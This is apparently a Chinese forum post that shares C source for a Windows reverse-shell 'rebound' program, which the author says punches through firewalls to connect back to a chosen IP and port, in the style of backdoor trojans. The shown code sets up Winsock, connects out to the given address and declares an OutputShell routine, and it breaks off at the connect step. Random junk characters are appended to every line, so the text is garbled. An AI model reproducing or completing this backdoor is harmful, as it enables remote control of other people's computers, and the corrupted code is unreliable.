这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dmN&+t
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/* ============================== aCLq k'
Rebound port in Windows NT mju>>\9
By wind,2006/7 LRMx<X8
===============================*/ D+7Rz_=
#include @[i4^
#include 5RpjN: 3
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#pragma comment(lib,"wsock32.lib") ;?g6QIN9
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void OutputShell(); y%bF&
SOCKET sClient; yN
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _M5|Y@XN-
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void main(int argc,char **argv) H_<C!OgR
{ f &wb
WSADATA stWsaData; @<]Ekkg
int nRet; h@WhNk7"xa
SOCKADDR_IN stSaiClient,stSaiServer; ?r+-
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if(argc != 3) yw3$2EW
{ ye? 'Ze
printf("Useage:\n\rRebound DestIP DestPort\n"); c>~*/%+
return; ,V:SN~P66+
} A;|D:;x3G
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;H.^i|_/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JNUt$h
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stSaiClient.sin_family = AF_INET; u4%Pca9(=
stSaiClient.sin_port = htons(0); tlp@?(u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t=O8f5Pf{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9lH?-~9
{ a1y-3z
printf("Bind Socket Failed!\n"); } c}_<#I
return; w+E,INdi
} pKrN:ExB"\
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stSaiServer.sin_family = AF_INET; E6gI,f/p0X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]Y8<`;8/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W+X6@/BO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .oUTqki
{ 6s/&